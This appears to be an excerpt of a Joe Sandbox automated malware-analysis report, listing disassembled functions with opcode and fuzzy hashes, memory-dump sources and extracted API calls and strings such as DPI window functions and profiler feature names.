Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 0096428F Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

%Jf8, xrefs: 00964416

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %Jf8
API String ID: 0-3489725625
Opcode ID: ff5fa8cf137c9dbf6fb0c7edec1d1f76a021ea5f8c2ffe1cc09d4660621e7ec4
Instruction ID: 66510c4dcbe0f9860046c72749804abd8903da97780fbb59e93a490e69a1386e
Opcode Fuzzy Hash: ff5fa8cf137c9dbf6fb0c7edec1d1f76a021ea5f8c2ffe1cc09d4660621e7ec4
Instruction Fuzzy Hash: EF7117F3D186244BE3146E29DC8936AB7D5EB44320F1B463DDEC8E3780E97D590586C6

Function 00897D06 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

>(Qo, xrefs: 00897D1D

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >(Qo
API String ID: 0-2034456330
Opcode ID: b9caeaaad956f4c9b3c56278634a5776f7af7d112d164002017c277a5bb39c91
Instruction ID: 7db9a1bed4413e9ac58206f5a759d060ee6ce1031ec9a471ccaf53c5d41f8a03
Opcode Fuzzy Hash: b9caeaaad956f4c9b3c56278634a5776f7af7d112d164002017c277a5bb39c91
Instruction Fuzzy Hash: 2E5108F3A082105FF3045E2DEC957BBBBDAEB94360F16453DEA85C3784E9798C018296

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 008C3AEB Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e8061dbcb25a30aa2e4a4b81c97d36f47c61f231e1d1b8fe806b1d48c0d8368
Instruction ID: f9f0e4ad3d7070ad280d64b4a3744d8dca99301007845c108fe553ab17363973
Opcode Fuzzy Hash: 6e8061dbcb25a30aa2e4a4b81c97d36f47c61f231e1d1b8fe806b1d48c0d8368
Instruction Fuzzy Hash: 7C8189F3A092089FE3186D2DDC5537AB7D6EBD4320F16463DEB81C73C4E97A58058686

Function 009D92F5 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2399b080618ed176265992d38ff5f2690ca67f0174fa22b9845fca00e276f874
Instruction ID: 5f771abab02e771bbd6f6a178a7517146698486eeeecc9d8190a108df45bd373
Opcode Fuzzy Hash: 2399b080618ed176265992d38ff5f2690ca67f0174fa22b9845fca00e276f874
Instruction Fuzzy Hash: 845138B354C614DBC3017A29DC4557BFBE9AB94360F36CE3EE9C297714E63998019283

Function 005F9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

GetMonitorInfoW, xrefs: 6C6B57A2
user32, xrefs: 6C6B5601
GetWindowDC, xrefs: 6C6B5710
CreateSolidBrush, xrefs: 6C6B57E4
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
FillRect, xrefs: 6C6B5729
ReleaseDC, xrefs: 6C6B5742
SetWindowLongPtrW, xrefs: 6C6B57B7
LoadIconW, xrefs: 6C6B575B
GetSystemMetricsForDpi, xrefs: 6C6B5677
gdi32, xrefs: 6C6B560A
GetDpiForWindow, xrefs: 6C6B5690
EnableNonClientDpiScaling, xrefs: 6C6B5666
CreateWindowExW, xrefs: 6C6B56C5
SetWindowPos, xrefs: 6C6B56F7
DeleteObject, xrefs: 6C6B57F9
MonitorFromWindow, xrefs: 6C6B578D
RegisterClassW, xrefs: 6C6B56AC
StretchDIBits, xrefs: 6C6B57CC
LoadCursorW, xrefs: 6C6B5774
ShowWindow, xrefs: 6C6B56DE
GetThreadDpiAwarenessContext, xrefs: 6C6B562D

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

seqstyle, xrefs: 6C69CCE6
notimerresolutionchange, xrefs: 6C69CE00
fileio, xrefs: 6C69CC92
java, xrefs: 6C69CC37
Unrecognized feature "%s"., xrefs: 6C69CEA0
processcpu, xrefs: 6C69CE6E
ipcmessages, xrefs: 6C69CDBE
default, xrefs: 6C69CC21
stackwalk, xrefs: 6C69CCF8
audiocallbacktracing, xrefs: 6C69CDD4
fileioall, xrefs: 6C69CCA8
nativeallocations, xrefs: 6C69CDA8
nostacksampling, xrefs: 6C69CD7C
markersallthreads, xrefs: 6C69CE42
mainthreadio, xrefs: 6C69CC7C
power, xrefs: 6C69CE84
leaf, xrefs: 6C69CC66
noiostacks, xrefs: 6C69CCBE
jsallocations, xrefs: 6C69CD0E
preferencereads, xrefs: 6C69CD92
cpuallthreads, xrefs: 6C69CE16
unregisteredthreads, xrefs: 6C69CE58
screenshots, xrefs: 6C69CCD4
samplingallthreads, xrefs: 6C69CE2C

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
